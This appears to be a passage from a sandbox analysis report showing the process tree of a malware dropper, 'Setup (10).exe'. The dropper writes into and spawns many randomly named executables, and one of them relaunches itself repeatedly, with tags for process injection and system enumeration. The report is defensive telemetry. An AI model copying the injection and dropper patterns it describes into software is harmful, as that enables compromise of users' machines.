PID 3784 wrote to memory of 4952	3784	Setup (10).exe	kPmhwLuYdptSxpC5nJ2HYGqi.exe
PID 3784 wrote to memory of 3184	3784	Setup (10).exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 3784 wrote to memory of 3184	3784	Setup (10).exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 3784 wrote to memory of 3184	3784	Setup (10).exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 3784 wrote to memory of 4800	3784	Setup (10).exe	TDuuo2KVaN8WO9_kRTDJDVlb.exe
PID 3784 wrote to memory of 4800	3784	Setup (10).exe	TDuuo2KVaN8WO9_kRTDJDVlb.exe
PID 3784 wrote to memory of 4800	3784	Setup (10).exe	TDuuo2KVaN8WO9_kRTDJDVlb.exe
PID 3784 wrote to memory of 1504	3784	Setup (10).exe	8thj38R25wqxTEVXQqLPXrCa.exe
PID 3784 wrote to memory of 1504	3784	Setup (10).exe	8thj38R25wqxTEVXQqLPXrCa.exe
PID 3784 wrote to memory of 1504	3784	Setup (10).exe	8thj38R25wqxTEVXQqLPXrCa.exe
PID 3784 wrote to memory of 1492	3784	Setup (10).exe	jV2gGv4Tv1hODxCmkwFIm2SC.exe
PID 3784 wrote to memory of 1492	3784	Setup (10).exe	jV2gGv4Tv1hODxCmkwFIm2SC.exe
PID 3784 wrote to memory of 1492	3784	Setup (10).exe	jV2gGv4Tv1hODxCmkwFIm2SC.exe
PID 3784 wrote to memory of 1904	3784	Setup (10).exe	PmowFgflgwpO3w3iBU9Y4YnO.exe
PID 3784 wrote to memory of 1904	3784	Setup (10).exe	PmowFgflgwpO3w3iBU9Y4YnO.exe
PID 3784 wrote to memory of 2132	3784	Setup (10).exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3784 wrote to memory of 2132	3784	Setup (10).exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3784 wrote to memory of 2132	3784	Setup (10).exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3784 wrote to memory of 2428	3784	Setup (10).exe	kM_zMZ2q6JSoO00frsBoRw47.exe
PID 3784 wrote to memory of 2428	3784	Setup (10).exe	kM_zMZ2q6JSoO00frsBoRw47.exe
PID 3784 wrote to memory of 2428	3784	Setup (10).exe	kM_zMZ2q6JSoO00frsBoRw47.exe
PID 3784 wrote to memory of 2444	3784	Setup (10).exe	uBN1ITfzvkAYUZfRvt_zGg_E.exe
PID 3784 wrote to memory of 2444	3784	Setup (10).exe	uBN1ITfzvkAYUZfRvt_zGg_E.exe
PID 3784 wrote to memory of 2444	3784	Setup (10).exe	uBN1ITfzvkAYUZfRvt_zGg_E.exe
PID 3784 wrote to memory of 2788	3784	Setup (10).exe	DAR2gT5USYSgOlkLHiQ5Ibhx.exe
PID 3784 wrote to memory of 2788	3784	Setup (10).exe	DAR2gT5USYSgOlkLHiQ5Ibhx.exe
PID 3784 wrote to memory of 2788	3784	Setup (10).exe	DAR2gT5USYSgOlkLHiQ5Ibhx.exe
PID 3784 wrote to memory of 996	3784	Setup (10).exe	9G06nUnsYSXedp8fNlz3CfEQ.exe
PID 3784 wrote to memory of 996	3784	Setup (10).exe	9G06nUnsYSXedp8fNlz3CfEQ.exe
PID 3784 wrote to memory of 996	3784	Setup (10).exe	9G06nUnsYSXedp8fNlz3CfEQ.exe
PID 3784 wrote to memory of 3428	3784	Setup (10).exe	WHoLWEO0CFbdAtlN7HTKzKCw.exe
PID 3784 wrote to memory of 3428	3784	Setup (10).exe	WHoLWEO0CFbdAtlN7HTKzKCw.exe
PID 3784 wrote to memory of 3428	3784	Setup (10).exe	WHoLWEO0CFbdAtlN7HTKzKCw.exe
PID 3784 wrote to memory of 5040	3784	Setup (10).exe	cJLn5MKrN8t2IeC4H2prr7nd.exe
PID 3784 wrote to memory of 5040	3784	Setup (10).exe	cJLn5MKrN8t2IeC4H2prr7nd.exe
PID 3784 wrote to memory of 1428	3784	Setup (10).exe	oHR_H4qfhBp7Z14UAMq2BtlF.exe
PID 3784 wrote to memory of 1428	3784	Setup (10).exe	oHR_H4qfhBp7Z14UAMq2BtlF.exe
PID 3784 wrote to memory of 1428	3784	Setup (10).exe	oHR_H4qfhBp7Z14UAMq2BtlF.exe
PID 3784 wrote to memory of 3152	3784	Setup (10).exe	fV5idJ6QtSpyo8yqb80UUS_a.exe

C:\Users\Admin\AppData\Local\Temp\Setup (10).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (10).exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3784

C:\Users\Admin\Documents\4HlrcO2wzfInGr4Ky7YAL33o.exe
"C:\Users\Admin\Documents\4HlrcO2wzfInGr4Ky7YAL33o.exe"
2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4488

C:\Program Files (x86)\Company\NewProduct\cutm3.exe
"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
3⤵
- Executes dropped EXE
PID:4284

C:\Program Files (x86)\Company\NewProduct\inst1.exe
"C:\Program Files (x86)\Company\NewProduct\inst1.exe"
3⤵
PID:3612

C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
3⤵
- Executes dropped EXE
PID:1452

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
"C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4400

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
- Executes dropped EXE
PID:4924

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
- Executes dropped EXE
PID:8

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
- Executes dropped EXE
PID:5684

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
- Executes dropped EXE
PID:2908

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
- Executes dropped EXE
PID:504

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
- Executes dropped EXE
PID:5144

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
- Executes dropped EXE
PID:4072

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:2692

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:232

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5568

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:908

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5560

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6780

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6408

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6148

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6512

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7312

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8060

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7532

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6468

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7588

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5844

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7032

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5104

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6832

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:3928

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5656

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5956

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:3000

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1428

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5964

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5480

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:3556

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5124

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5936

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6456

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5764

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7340

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:4028

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:804

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7880

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:4072

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6028

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:1500

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:4000

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8148

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:1500

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7472

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:4208

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7440

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6872

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7496

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8236

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8716

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9132

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8648

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9212

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9076

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8080

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8648

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8024

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:1884

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:1948

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8800

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8120

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8416

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7536

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6712

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7748

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6184

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:1528

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:3104

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:3436

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8392

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7744

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8840

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5972

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8684

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:2688

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8224

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:3972

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:4392

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7700

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7304

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:4004

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:2240

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7752

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:2676

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9072

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:4260

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6056

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8580

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9052

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:2852

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7556

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:3244

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7008

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9420

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9604

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10008

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9288

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8588

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:10124

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:4700

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:4740

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:2012

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6660

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10064

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7672

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:7912

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5532

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9860

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:3232

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6192

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:6348

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5236 -s 28
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:10504

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10468

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10656

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:11008

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:828

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9832

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10028

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:9328

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10796

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:5676

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10520

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:8296

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10300

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10516

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10164

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
3⤵
PID:10764

C:\Users\Admin\Documents\1pBuL4NufYRWFacB9NlZzL2t.exe
